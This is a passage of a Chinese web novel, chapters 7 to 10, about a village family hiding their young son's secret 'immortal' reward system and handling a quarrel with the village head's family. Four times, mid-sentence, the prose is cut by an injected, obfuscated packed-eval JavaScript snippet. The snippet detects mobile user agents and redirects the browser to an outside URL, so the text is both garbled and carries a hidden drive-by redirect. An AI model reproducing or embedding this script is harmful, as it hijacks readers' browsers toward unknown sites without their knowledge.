就在这时候，睡得昏昏沉沉的顾老爹醒了。 妻子惊恐哭泣的声音让顾老爹不得安稳，挣扎着，睁开沉重的眼皮子。 “慧娘，你怎么哭了，别怕，我不会死，我说过会照顾你一辈子。” 王氏趴在床边，得到了主心骨，一股脑儿将事情告诉丈夫。 “他爹，如今可怎么办，万一那妖怪来索命如何是好？” 王氏心底还是害怕：“要不我现在就带着丰年去庙里头避避风头，妖怪再厉害，肯定也没有菩萨厉害。” 顾老爹却从中听出几分不对劲来。 “慧娘，扶我起来。” 王氏连忙伸手搀扶，让他靠在床头能说话。 “丰年，过来。”顾老爹招手。 顾丰年三两步跑到床前，连忙开口解释：“爹，小九不是妖怪，是神仙，他不会害人的。” “小九？这是神仙的名字吗？”顾老爹问。 顾丰年点了点头：“是我给它起的，他的名字可长啦，我记不住。” “乖孩子，把你怎么遇上神仙，中间发生了什么，原原本本告诉爹。” 顾老爹显得很镇定：“那神仙什么来历，叫什么名字，要做什么，全部都告诉爹，不要漏掉任何一件事。” 【警告，系统第一法则，宿主不可将系统告知任何人】 【如宿主不听劝告，系统将采取强制措施】 【电击惩罚准备——】 不暴露文明火种传承系统的根脚，是009最后的底线。 土著人压根没办法理解未来系统，009可不想跟一家三口歪缠，索性警告，就让老俩口把自己当成妖怪得了。 顾丰年张大嘴，想到自己一次次想告诉爹娘，却一次次失败，最后颓丧的低下头。 “怎么了？”顾老爹也紧张起来。 顾丰年撅起嘴：“小九不让我说，不能告诉别人。” 顾家夫妻俩对视一眼，眼底担忧更甚。 鬼鬼祟祟的，不像是正经神仙。 顾老爹转开话题：“是吗，也许是爹娘不够虔诚，所以神仙才不许我们知道。” “丰年，听你方才的意思，这位名讳小九的神仙，很喜欢让你背书，背得好就能有奖励？” 顾丰年点头如捣蒜：“是啊是啊，不过不是背得好就给，是要背完一本书才给。” “我背完《三字经》，给爹换了伤药，剩下的换成了牛肉。” 顾老爹醒来，王氏就没那么害怕，平静了许多。 此时忍不住问：“光是背书就能换这老些？没别的吗，真的不会害了你？” “不会不会。” 顾丰年用力摆手，试图证明小九是个好神仙：“小九出现都一年多了，还给我吃糖，如果它是坏人，那我早就被吃掉啦。” “一年多！”王氏惊呼。 她不知道脑补了什么，脸色煞白，看向幺儿眼中满是心疼。 都怪她这个当娘的不够细心，一年多，她竟然都没发现。 顾丰年不知道爹娘心底的担心，拍着小胸脯说：“爹，娘，你们就放心吧，神仙是好神仙，他是来帮我们的。” “爹，你好好养病，我会努力背书，给你换最好的伤药，让你每天都有肉吃，这样你就能好起来。” “娘，你不要担心，你看我一直好好的，神仙不会伤害我，等我长大给你换金簪子戴。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383239|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾家夫妻一颗心都要化了，恨不得将他搂紧怀里头好好疼。 王氏忍着眼泪：“娘不要戴金簪，只想我家丰年平平安安地长大。” 她依旧对那不知名的神仙心有芥蒂，想说什么，又怕触怒了那不知名存在。 顾老爹轻咳一声，忽然开口：“孩儿他娘，既然是神仙给的赏赐，那你就收下，回头炖了给孩子们尝尝。” “这——” 王氏接到丈夫的眼神，终于点了点头，再次将沾满灰尘的牛肉捡起来。 方才只觉得害怕，这会儿见好好的牛肉上都沾了泥巴，王氏倒是心疼起来。 顾丰年高兴的蹦起来：“这就对了，爹娘，你们只管吃。” 瞧他高高兴兴没半点担忧，顾老爹心头叹气。 “丰年，这件事除了爹娘，再也不许告诉第三人。” 顾丰年歪了歪脑袋：“连大哥都不能说吗？” “不能。” 顾老爹喘了口气，继续说：“好事就得藏着掖着，知道的人多了，好事就容易变成坏事儿。” “神仙看重你，这是你上辈子修来得福分，万一知道的人多了，触怒了神仙，他就会离开我们家，到时候你就没有糖吃，也没有肉吃，爹的伤再也不能好起来。” 顾老爹最知道儿子的脾气。 果然，听了这番话，顾丰年小脸严肃起来，保证道：“爹，你放心，我绝不会告诉任何人，连大哥二哥三哥四哥五姐都不说，长栋哥也不说。” 009心底服气，对这夫妻俩高看一眼，它费尽口舌都没做到的事情，夫妻俩轻轻松松就做到了。 “这才是好孩子。” 顾老爹松了口气：“去找你五姐他们玩吧，晚上有牛肉吃。” 顾丰年一听，立刻高高兴兴蹦跶着往外跑，将方才的担心纠结都抛之脑后。 等孩子离开，王氏担心的问：“他爹，我还是不安心，不如还是先去庙里头拜一拜。” 顾老爹摇了摇头：“别去。” 停顿了一下，他又说：“既然丰年说那神仙已经出现一年多，这一年时间丰年身强体壮，往年的风寒都没出现，可见神仙对他不错。” “咱们贸然去庙里头拜别的神仙，万一惹怒了这位反倒不好，不如就先这样。” “再者，爱教人背书上进的神仙，听着不坏。” 王氏顺着这话想，忽然问：“莫不是天上的文曲星，瞧咱家丰年天资聪慧，一眼就瞧上了他？” 顾老爹也觉得有可能，毕竟别的神仙应该没那么爱看书。 他方才被惊醒，因为这档子事心惊肉跳，这会儿有些脱力。 但顾老爹不肯睡，叮嘱道：“回头多叮嘱孩子，不许将这事儿说出去，免得引来灾祸。” “我知道的，让别人知道咱儿子被神仙看上，肯定会嫉妒他。” 乡下最怕流言蜚语，传着传着神仙都能变成妖怪，王氏必定是要守口如瓶的。 “当前看着是好事儿，其余的等等再说。” 顾老爹心底也有担心，可担心也没用，他们面对神仙毫无办法。 他不敢告诉妻子孩子，怕他们听了更加担心，只说：“等我身体好一些，咱们再慢慢筹划，就算拼了这条老命，我也绝不会让丰年被害。” 王氏握紧他的手：“不会的，一定是个好神仙。” 8. 第 8 章 与心神不宁的夫妻俩相比，顾丰年是个没心肝的，转头就把事儿忘得一干二净，撒丫子就跑出去玩。 小孩儿就是这样，大人发愁的吃不下睡不着，他们照旧能吃能玩。 顾丰年在山脚下找到了大部队，五姐和侄子侄女都在这儿。 “五姐。”顾丰年跑过去，神秘兮兮的说，“今天晚上有肉吃。” 顾丰收吓了一跳：“哪儿来的肉？” 家里还欠着外债呢，怎么看也不能在这当头买肉。 顾丰年昂起下巴：“那你别管，吃就是了。” 其实心底蚂蚁乱爬，恨不得顾丰收多问几句，他好将自己丰功伟绩说出来。 哎，可惜他已经答应爹娘，不能再把小九存在告诉第三人，只能委屈五姐被蒙在鼓里，不能知道她亲弟弟多厉害。 顾丰收瞥了他一眼，不知道他得意个什么劲，摇头晃脑像一只笨鹅子。 又觉得他在想屁吃，真以为想想天上就能掉下肉饼来。 哎，弟弟都五岁了，还分不清现实和做梦，莫不是个傻子吧？ 作为姐姐，顾丰收不跟他计较，心疼弟弟晚上吃不到肉，到时候可能会伤心的哭。 “肉没有，莓子吃不吃？” 顾丰年心底失望，五姐怎么就不多问几句呢？ “吃！”顾丰年点头，嘴里就被塞进一颗红彤彤的树莓。 抿了一下，甜滋滋的味道就在嘴里弥漫开来，小孩儿立刻把那点遗憾丢了。 顾丰年甜的眯起眼睛来：“好甜。” “我特意挑了最大最红的给你留着。”顾丰收就知道他喜欢，“来，拿着慢慢吃。” 她特意拉着弟弟走远一些，免得被侄子侄女瞧见，倒不是她小气，而是莓子太少不够分。 顾丰收用帕子装了好几颗，都是又大又红的，一点磕碰都没有，显然是特意留的。 “谢谢五姐，你对我可真好，以后我要给五姐买很多很多糖。” 顾丰年心底已经盘算好了，一个薪火点能换一斤糖，有一百颗，家里每人一颗都能吃好久。 哼，二嫂讨厌，不给她吃。 顾丰收被哄得眼睛弯弯，觉得自家弟弟果然世界第一可爱。 “你们在吃什么？”一道声音打破姐友弟恭。 来人是个小黑妞，长得黑黑胖胖，脸上一双三角眼，她是牛村长家小孙女，牛长栋隔房堂妹。 顾丰年跟牛长栋关系不错，两人总是一起玩。 但牛小丫平日里就跟顾丰收不对付，两人见面就吵。 顾丰收双手叉腰：“我们爱吃啥吃啥，多管闲事。” 牛小丫不干了，吊着眉毛说：“我娘说了，你家还欠着我家一百文钱，欠钱不还还吃香喝辣，你还有理了？” 顾丰收立刻涨红脸。 顾丰年站在姐姐这头：“胡说，我们家欠村长爷爷的，可不欠你的。” “爷爷的就是我家的，把莓子给我，在你家还完钱之前，你得给我当丫鬟，你弟弟给我当马骑，你们在山上弄到好吃的好玩的都得给我。” 牛小丫说着就上手要抢。 “偏不给你。”顾丰年可不会被动挨打，转身就跑。 他虽然个头小，但身手灵活，让牛小丫追不着。 牛小丫大叫着追，顾丰收不干了，直接一脑袋撞翻了她。 “让你欺负我弟弟。” “你敢打我！” 两个小姑娘顿时战作一团。 顾丰年已经跑出去一段，回头一看自家姐姐正挨打，这可不行，呼啦啦又跑回去。 “小六你别动手，让我来。” 顾丰收继承了顾家人的身材，个高力气大，牛小丫比她大了一岁，打起来愣不是她对手。 “啊，别打了别打了，我要被你打死了。”牛小丫不经打，三两下就大哭起来。 顾丰收这才爬起来：“欠你家的钱我们会还，但你再敢欺负我弟弟，我还打你。” 牛小丫一骨碌爬起来，撒丫子就跑，跑出去一段才回头骂：“你给我等着。” 顾丰收这时候才害怕：“完了完了，她肯定回家告状了，她娘可凶了。” 顾丰年就说：“那就说我打的，爹娘不舍得打我。” 姐弟俩都没继续玩的心思，偷偷摸摸往回走。 回家也不敢把打架的事情告诉家里。 顾家人都忙着，压根没有人注意孩子们的情况。 结果没一会儿，外头就传来动静。 牛二嫂带着女儿找上门来，进门就喊：“顾家的你给我出来，瞧瞧把我女儿打的，你家这养的什么母老虎，五岁就敢动手打人，长大后岂不是要杀人放火？” 顾大嫂正做饭呢，听见声响赶紧出来，一看牛二嫂就皱眉。 两人虽然沾亲带故，但牛二嫂是个无理搅三分的，平日里关系并不好。 看到牛小丫的样子，再看自己小姑子小叔子缩头缩脑，牛氏就猜到发生了什么。 牛氏冷下脸：“堂嫂，你胡说八道什么呢，小孩子打打闹闹很正常，我瞧小丫也没受伤，至于小题大做吗你。” “往日里我家几个小子挨了打，我都只骂他们不争气，哪有你这样孩子磕磕碰碰，大人上门算账的，往后谁家还敢跟小丫玩？” 心想这么大人，说话不积口德，母老虎杀人放火的话传出去，丰收以后还怎么嫁人？ 牛二嫂一听这话气急败坏：“合着你们俩孩子打我家小丫一个还有理了？” “弟弟没动手，是我打的。”顾丰收出来说。 顾丰年也跳出来：“是她要抢我莓子吃，还要我给她当马骑，追着我打，五姐为了保护我才动手的。” 牛氏脸色不好看。 自家小叔子体弱多病，自小精心养着，从来没受过半点委屈，现在居然被一个外人欺负了。 “小丫娘你也听见了，丰年多乖，哪有这样欺负人的，要我说她就该打，再说丰收比小丫还小一岁，能打得多重？” 牛二嫂没占到便宜，狠狠掐了一把女儿，牛小丫顿时大哭起来。 女儿一哭，牛二嫂也跟着抹眼泪：“好好好，昨日借钱的时候千好万好，如今欠着钱就翻脸不认人了，大家伙儿都出来看看他们顾家欠钱不还，还欺负我家女儿。” 一听这话，牛氏脸色阴沉，却又说不出反驳的话来。 顾家欠着村长家的钱是事实。 “我家会还钱的，也没有欺负她，是她欺负我。”顾丰年大声喊道。 牛二嫂压根不停，继续叫唤。 蓦的，王氏从里屋出来：“闹腾什么？” 牛氏看向婆婆，低声将事情说了一遍。 牛二嫂捏着顾家软肋，很是得意洋洋，大声道：“你来的正好，瞧瞧你家龙凤胎干的好事儿，家里欠着债不急着干活还钱，倒是有空出门打人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383240|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是你们顾家的家教？” 王氏瞥了她一眼：“小丫她娘，你也不用红口白牙颠倒是非，你是什么人，我家孩子是什么人，满村都知道。” “你家小丫都六岁了，也该到了懂事的时候，你倒好，不看着管着，反倒是让她学那些脏耳朵的话，也不怕教坏了女儿。” 六岁的孩子会说出那些话，多是跟大人学的，村长家别的人都好，就牛二嫂一张嘴特别贱，平日没少跟人吵架。 牛二嫂脸一黑。 不等她发作，王氏回后屋，再出来拎着一只鸡：“我家是欠着钱，但我老顾家借了钱就会还，这只鸡你带走，就当是我家给的利息。” “只一句，今日丰收打你女儿事出有因，她没错。” 牛二嫂听了，两只眼睛发光，伸手赶紧抢过去，才不管谁对谁错，拿到手就是实惠。 “这可是你自己给的，不是我抢的。”她美滋滋的。 “走走走，回家炖鸡吃。”说完拽着女儿就跑，生怕被追上。 牛小丫也不在乎挨打，鼻涕眼泪一抹就跟上去，去晚了鸡肉都进了哥哥们肚子。 牛氏欲言又止，家里总共只剩下两只鸡，如今又给出去一只，往后连吃蛋都成问题。 王氏看了她一眼：“她是十里八乡最混账的人，你跟她掰扯什么，等着吧，一会儿村长就会把鸡还回来，吃不进她的嘴。” “她虽不是东西，到底是村长家的人，我们教训不得，让他们自家人去教训。” 牛氏一想也是，牛二嫂不要脸，村长要。 村长能拿出一百文给顾家救急，可见品行不错，绝不会在这当头催着他们还钱。 今天牛二嫂来这么一出，还拎着一只鸡回去，村里人只会觉得她得理不饶人。 村长本来还想要个好名声，结果回头就被儿媳妇打脸，他会收下这只鸡才怪。 王氏又看向一对儿女。 顾丰收主动承认：“娘，怪我没忍住动了手。” “五姐是为了保护我，小丫太霸道了，抢我们莓子还要我们当丫鬟当狗。”顾丰年气呼呼。 王氏咒骂了一句：“真是个没教养的东西。” 又摸了摸俩孩子脑袋：“没受伤就好，咱占着道理就不怕打架，老顾家这么多兄弟姐妹，谁也不怕。” 他们要是怕事儿，顾家也不能有今日，早在落户的时候就被欺负死。 姐弟俩顿时安心了，不再跟犯错的小鹌鹑似得。 顾丰年眼睛忽闪忽闪，压着声音问：“娘，啥时候吃肉？” 牛氏跟顾丰收也听见了，奇怪的看向王氏。 王氏轻咳一声：“吃什么肉，瞧你身上乱糟糟的，进来收拾一下。” 说着一把将儿子提溜进去。 顾丰年心底着急，连声问：“娘，不是说好了晚上吃牛肉吗，那真的是神仙给的，能吃。” 避开人，王氏弯腰摸了摸小孩儿脑袋。 “娘知道，娘相信我的宝贝儿子。” 安抚完，王氏话题一转：“牛二家的虽然不讲道理，但有句话说得对，咱家还欠着外债，不能光明正大的吃肉，否则会被人说闲话。” “丰年，今天晚上不能吃肉了。” 顾丰年小脸挂下来，蔫头耷脑的。 “不过——”王氏卖了个关子。 顾丰年立刻抬起脑袋，连声追问：“不过什么，娘你倒是快说啊。” 9. 第 9 章 白天顾丰年走后，夫妻俩好好商量了一番。 神仙给了肉，不管他们吃不吃都已经接受，自然不能浪费。 只是吃，也不能直接吃，不然家里头凭空多出来两斤肉，还是牛肉，如何解释？ 王氏藏住眼底的忧心，笑着摸了摸幺儿小脑袋：“明日娘去县城走一趟，到时候再把肉带回来，这样别人见了，只以为我们从镇上买的。” “牛肉会不会坏掉？”顾丰年没意见，只是担心。 “现在天不算热，不能坏。” 怕孩子口风太松，王氏又叮嘱一次：“往后那——那神仙要是再给你奖赏，记住，先拿回来给爹娘，爹娘会想办法帮你遮掩。” “嗯嗯，我记住啦。”顾丰年乖乖点头，听话的很。 王氏依旧不那么放心，这孩子记性好，但忘性大，不管多大的事情睡一觉全忘了。 但如今也只能先这样，往后自己多盯着一些才好。 王氏猜得没错，牛二嫂前脚把鸡带回头，还没来得及杀，后脚就被发现了，先是被婆婆劈头盖脸骂了一顿。 “牛家是缺了你吃，还是缺了你穿，非得贪这一只鸡，吃了这只鸡你能成仙吗。” 牛婆婆看到这头发长见识短的老二媳妇就头疼，怪自己当初看走眼，被她聪明脸蛋骗了。 等娶进门才知道德行，孩子都生了，再说什么都迟了。 牛二嫂舍不得母鸡，还想为自己辩解：“娘，这可不是我要的，是顾家主动赔的。” 说着还把牛小丫拽出来：“你瞧瞧，顾家那疯丫头把您孙女打成什么样了。” 可惜，牛婆婆知道母女俩德行，都是主动挑事儿的人。 若是别家，牛婆婆或许就算了，睁一只眼闭一只眼。 可偏偏是顾家。 牛婆婆冷哼：“前头你公公才借给他们一百文，转身你就带回来一只鸡，知道的说是赔礼，这不知道的，还以为我们家放印子钱，得指着咱家脊梁骨骂，你不要脸我还要。” “赶紧还回去。” 牛二嫂不肯：“她家主动给的，凭啥还回去。” 牛小丫也跟着嚷嚷：“奶，我要吃鸡，给我吃鸡。” 牛婆婆见她们还敢嚷嚷，更是生气，伸手抡起扫帚来：“你们看我像不像一只鸡。” 村长回来后一听，更是生气，尤其老二媳妇还不听话不服管，把他老妻气得够呛，最后连休妻都喊出来。 顾丰年自打知道晚上不能吃肉，就忧心忡忡的坐到了门口。 晚一日吃肉，爹就晚一些好起来，哎，要是大家都瞎了眼，看不到凭空出现的肉就好了。 小孩儿胡思乱想着。 顾丰收早就看过厨房了，别说肉，鸡蛋都没了。 出来瞧见弟弟蔫头耷脑的样子，还以为他没吃着肉心底难过。 顾丰收摆出姐姐的样子，弯腰拍了下他脑门：“想什么呢？” “姐，都说了别拍我，我都被你拍得不长个了。”顾丰年捂住脑门。 顾丰收挑眉：“你从小就长得慢，怪我？” 顾丰年嘿嘿傻笑，不敢反驳，爹娘打人看起来凶，但五姐下手是真打。 “呆子。” 顾丰收点了点他小脑袋，又说：“做梦跟现实都分不清，没肉吃也不算什么，我可不馋肉。” 她猜弟弟做梦吃到肉，醒来还以为是真的，傻乎乎的可爱。 “我也不馋，但爹需要吃肉。”顾丰年想，哪里是他想吃。 顾丰收听了这话，小小年纪也拧起眉头来。 “咯咯哒咯咯哒——” “我家的母鸡。” 顾丰年蹭的一下站起身，果然看见提着母鸡的牛长栋，不只有母鸡，牛长栋还提着一个小篮子，里头摆着十个鸡蛋。 “长栋哥？” 牛长栋露出笑容：“爷爷让我把这些送过来。” 王氏已经听见动静出来，见状忙道：“这是送给牛二嫂的，怎么拿回来了？” “婶子，爷爷说了，知道你们好心客气，可顾家正是最难的时候，绝不能收这只鸡，等顾叔好了，送再多我们都敢收。” 顾家是外来户，但落户安家后，顾老爹有打猎的手艺，家里时不时都能吃上肉。 村里人问他买野货，总是比从别人手中便宜一两文钱。 顾老爹也会做人，时不时往村长家送一些，尤其是顾满山长大后又娶了牛家女儿当媳妇，如今已经融入长溪村。 昨日王氏能借到钱，可见顾家在村里头人缘不算差。 老村长毫不犹豫的拿出一百文钱，也是看顾家有诚信，儿子也多，以后肯定能还上，若是别人家，他肯定不会这么大方。 牛长栋这番话说的漂亮，一听就是村长教过的。 又执意把鸡蛋放下：“我奶特意叮嘱的，让顾叔多吃些补补身体，才能快些好起来。” 王氏原本存着算计，看见鸡蛋眼眶也红了：“村长做事公道，这些年多亏他照顾，若不是他拿了一百文，昨日我们连药钱都拿不出来。” “长栋，回去帮我谢谢你爷，告诉他等伯川好了，一定亲自上门道谢。” 牛长栋不习惯这样的场面，赶紧拉着顾丰年跑：“婶子，我带丰年出去玩一会儿。” “娘，还是你厉害。”顾丰收竖起大拇指。 王氏叹了口气：“要是以前，她要就给她，只是如今家里困难，不得不省一省。” 看了眼鸡蛋，她又教育女儿：“牛村长是个地道人，等你爹好了，咱们得好好谢谢他。” 早晨王氏还满心担忧，怕顾老爹再也好不起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383241|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可如今知道幺儿身上有神仙，害怕过后又冒出希望来。 神仙能救顾老爹第一次，肯定就能救第二次，王氏立刻有了信心。 牛长栋拉着顾丰年跑出去一段，擦了擦不存在的汗：“婶子也太客气了，我都不习惯了。” 顾丰年还没反应过来就被拉出来：“长栋哥，你拉我做啥，我要回家吃饭了。” 牛长栋嘿嘿笑，见四下无人就问：“那啥，丰年，今日你怎么没来学堂？” 虽被村长寄予厚望，送去读书，但牛长栋压根不是读书的料，每天都记不住，还得靠顾丰年开小灶才不至于天天挨打。 学堂里最期待顾丰年出现的，除了沈先生就是牛长栋。 “我已经背完《三字经》了，家里忙，最近都不去学堂了。”顾丰年回答，“等我爹好了再去。” 牛长栋瞪大眼睛：“什么？你背完了？” “这怎么可能，先生都还没教完，你怎么能背完？” 顾丰年不乐意了：“我早晨去找先生教的，不信我背给你听。” 说完仰着下巴就背起来，从头至尾流利的很，就跟已经背了无数遍一样。 牛长栋没学过后头的，可他学过前头的，知道顾丰年没瞎编。 “我滴个乖乖，你这脑袋瓜子怎么长的，怎么这般聪明。” 牛长栋羡慕至极，恨不得摘下他的脑瓜子塞到自己脖子上，省得他总是记不住挨打。 被表扬的顾丰年骄傲不已，很爱听，多说点。 牛长栋忍不住用力揉了揉他小脑袋，感慨道：“我就说脑袋瓜子是天生的，老子就不是读书的料，爷爷跟爹非不信。” “每天逼我读书，倒不如让我跟着三叔做生意，好歹还能挣钱。” 顾丰年已经不耐烦，想赶紧回家吃饭了。 可挣钱两个字蹦出来，顾丰年又不急着回去了，回头问：“长栋哥，你知道怎么挣钱吗？” 家里现在缺钱，顾丰年最知道。 牛长栋傻眼，他哪儿知道。 但他不想在小孩儿跟前露怯，就东拉西扯说：“挣钱还不容易，把咱有的东西，卖给想要的人，一来一回就挣到钱了，我三叔就是这样干的，如今都在镇上买房了。” “平日里乡亲们去镇上卖菜挣钱，卖柴火也挣钱，卖绣活更挣钱。” 顾丰年一听，苦思冥想起来：“那我能卖什么？” “卖咱喜欢的呗，咱都喜欢吃鸡蛋，鸡蛋就能换钱，你说对吧。”牛长栋胡咧咧道。 顾丰年却听进去了，啊了一声：“我知道了，长栋哥谢谢你，我想到挣钱的好办法了。” 说完转身就跑回家，进门就遇到正编箩筐的顾老四。 顾丰年眼睛一亮：“四哥，我有一个挣钱的法子，咱俩一起干怎么样？” 10. 第 10 章 顾立秋压根不信五岁弟弟能有挣钱的法子，但他疼弟弟，乐意哄着他玩。 “什么办法，快告诉四哥。” 顾丰年趴在他耳边嘀嘀咕咕起来：“四哥，咱们村孩子都喜欢蟋蟀，城里头孩子肯定也喜欢，我们可以抓很多蟋蟀去卖。” 回来的路上，顾丰年就已经盘算好了。 他认定自己喜欢的，别人肯定也喜欢。 “蟋蟀不要钱，你帮我编一些小笼子装，待会儿我去求娘，让她明日进城带上我。” “一个蟋蟀一文钱，十个就是十文钱，一百个就是一百文，好多好多钱。” 顾立秋心底叹气，不忍心打破弟弟的幻想。 这季节蟋蟀到处都是，谁家舍得花钱买。 “四哥，你说我这个主意好不好，你会帮我编小笼子吧？” 顾丰年眼睛亮晶晶，忽闪忽闪盯着自家四哥看，看得他心软说不出拒绝的话。 “你想玩的话，四哥帮你编小笼子。” 反正长溪村到处都是草和竹子，编装蟋蟀的小笼子不要钱。 “太好了，四哥，等我挣了钱分你一半，这叫入伙。”顾丰年摇头晃脑道。 顾立秋无奈的笑了。 顾丰年已经转身跑向姐姐，邀请她一起去抓蟋蟀。 “我得帮娘做饭，你喊大山几个去吧。”顾丰收不喜欢虫子，找借口不乐意去。 她口中大山是顾大哥家老大。 顾大哥大嫂生了两儿一女，老大跟龙凤胎一年生，一个年头一个年尾。 老二也已经三岁，正是活蹦乱跳的时候，女儿牡丹才一岁，刚能走路。 顾老二家也有一儿一女，也是先生了儿子取名大河，跟顾小山一样三岁，两人只差了一个月。 女儿取名顾小婷，已经两岁。 几个侄子侄女倒是很乐意捉蟋蟀，但最后只有大山小山跟着跑。 牡丹年纪太小，牛氏不放心她跟着跑，顾大河顾小婷倒是想去，赵氏不答应。 当天晚上，顾家到底没吃上肉，不过王氏知道几个儿子明天都要去码头，往锅里头多放了一碗米，盛出来是干饭。 “码头干得是体力活，你们多吃些，干的时候别卖死力气，身体要紧。” 顾满山笑了笑：“娘，我们心中有数。” “看着点你弟弟，都是些不省心的。”对于老大，王氏是放心的，剩下几个就没那么放心。 顾满山一口答应下来。 吃完饭，顾丰年就招呼大山小山：“走，抓蟋蟀去。” 三孩子放下碗就呼啦啦跑，大河也想跟上去玩，被赵氏一把薅回来。 “家里都这样了还有心思玩，真是没心没肺。”赵氏骂了一句，也不知道在骂谁。 王氏瞥了她一眼：“闲着没事就把碗筷收拾了，别整日等着别人干。” 赵氏不敢顶撞婆婆，瞪了眼儿子就进了厨房。 没人在意这个小插曲，顾立秋吃完就坐在院子里编小笼子。 他没用竹篾，直接用了随处可见的灯心草，这种野草到处都是，门口一抓一大把，虽然不如竹篾结实，但胜在方便。 顾立秋手脚快，一会儿就编出一个小笼子，还自带绳鼻儿，穿一根灯心草就能挂着玩。 “明天得去码头，不早点睡弄这个干什么？”顾满山瞧见，走过来踢了踢弟弟。 顾立秋已经开始第二个，头也不抬解释：“小六想玩，我多弄几个哄哄他。” “小六想要？” 顾满山听了，索性也坐下来一起编小笼子。 自家小六乖，少有张口想要什么的，但凡有一块糖都要分给兄弟姐妹吃，难得他开口，顾满山也乐意宠着。 一会儿，兄弟四个排排坐都在编小笼子，还比赛谁编得最好看最结实。 自打顾老爹出事，兄弟几个情绪都紧绷着，这会儿倒是放松许多，还能互相取笑几句。 牛氏瞧见男人紧皱的眉头舒展开有了点笑意，自己脸色也缓和下来。 赵氏却看不顺眼，忍不住抱怨：“家里都啥样了还有心思玩，还让大哥他们编什么小笼子，小六就是被爹娘宠坏了，大嫂，你也不劝着点。” 牛氏瞥了她一眼：“从昨天起你就唠叨个没完，小六怎么得罪你了？” “他是没得罪我，可家里都这样了，他咋还没心没肺的。”赵氏哼哼，她心底早就对公婆偏疼龙凤胎心怀不满。 牛氏淡淡道：“哭着笑着日子都得过，像你这样拉着脸家里也不会多一文钱。” 赵氏脸色更黑了，不敢跟牛氏对着干，转身拍了下女儿：“多大人了，就知道贪玩。” 指桑骂槐的，牛氏懒得搭理她，反正她只敢私底下骂几句，当着婆婆的面连个屁都不敢放。 顾小婷不知道自己为什么挨打，哇的一声哭起来。 王氏在外头也听见了，冷哼道：“大河他娘，没有吃完饭就打孩子的，你要闲着慌就把衣服洗了。” 赵氏顿时不敢吭声。 王氏摇了摇头，这老二媳妇进门这么多年，该教都教了，依旧还是这个样。 幸好嘴巴大胆子小，顶多说几句酸话。 王氏转身进了屋，顾老爹正醒着。 昏昏沉沉的睡了两天，顾老爹精神头还是不好，说话有气无力，醒来一会儿就觉得累。 王氏检查了伤口，没红肿才放心。 “接着睡吧，大夫说了，你这是失血过多，睡觉能养气血。” 顾老爹叹气：“睡太多，脑子都是懵的。” “老大几个要去码头吗？”他又问。 王氏没瞒着他：“他们也大了，是该撑起门户来，以前有你在前头顶着，现在正好放他们出去长长能耐。” “四个大小伙子出门不用担心，吃亏就当长教训。” 顾老爹沉默了一下，点头说了句也好。 王氏转身在箱子里翻找起来，好一会儿才从箱底翻出一个包袱。 “你怎么把这个拿出来了？”顾老爹皱眉。 王氏将包袱放到床上，打开一看，里头是一件红嫁衣。 嫁衣上压着一块巴掌大的玉佩，颜色通透，乍一看如油脂一般细腻光滑。 这样的玉佩价值不菲，不该出现在小山村里。 顾老爹脸色一变：“不行，就算病死在床上，咱们也不能动这玉佩。” 王氏瞪了他一眼：“你把我想成啥人了？” 她轻轻抚摸玉佩，很快将它再次包起来，小心翼翼的放到箱子深处。 “当初只带走了这一件东西，等丰年长大懂事了，咱们就交给他，就当是个念想。” 却单独留下那件红嫁衣。 顾老爹还是皱眉：“我已经好多了，老大他们也能挣钱，日子会慢慢好起来，家里还不至于动你的嫁衣。” 王氏伸出手，轻轻抚摸着嫁衣。 上好料子做的嫁衣，甚至还镶嵌着细碎的珠子，即使过去二十多年，嫁衣依旧鲜亮。 看着这件衣裳，王氏忍不住想起当年。 一晃眼，他们半辈子都过去了。 “他爹，你先听我说完。” 王氏握住男人的手：“丰年是早产儿，生下来只有猫大，自小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383242|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体弱，咱们花了大力气才把他养得白白胖胖的。” “但他身体就是比普通孩子弱，现在还好，再大一些能下地干活吗？” 顾老爹哑然。 那时候他没阻止老四追野猪，不也存着运气好猎到，换了银子就能送幺儿读书的念头吗？ 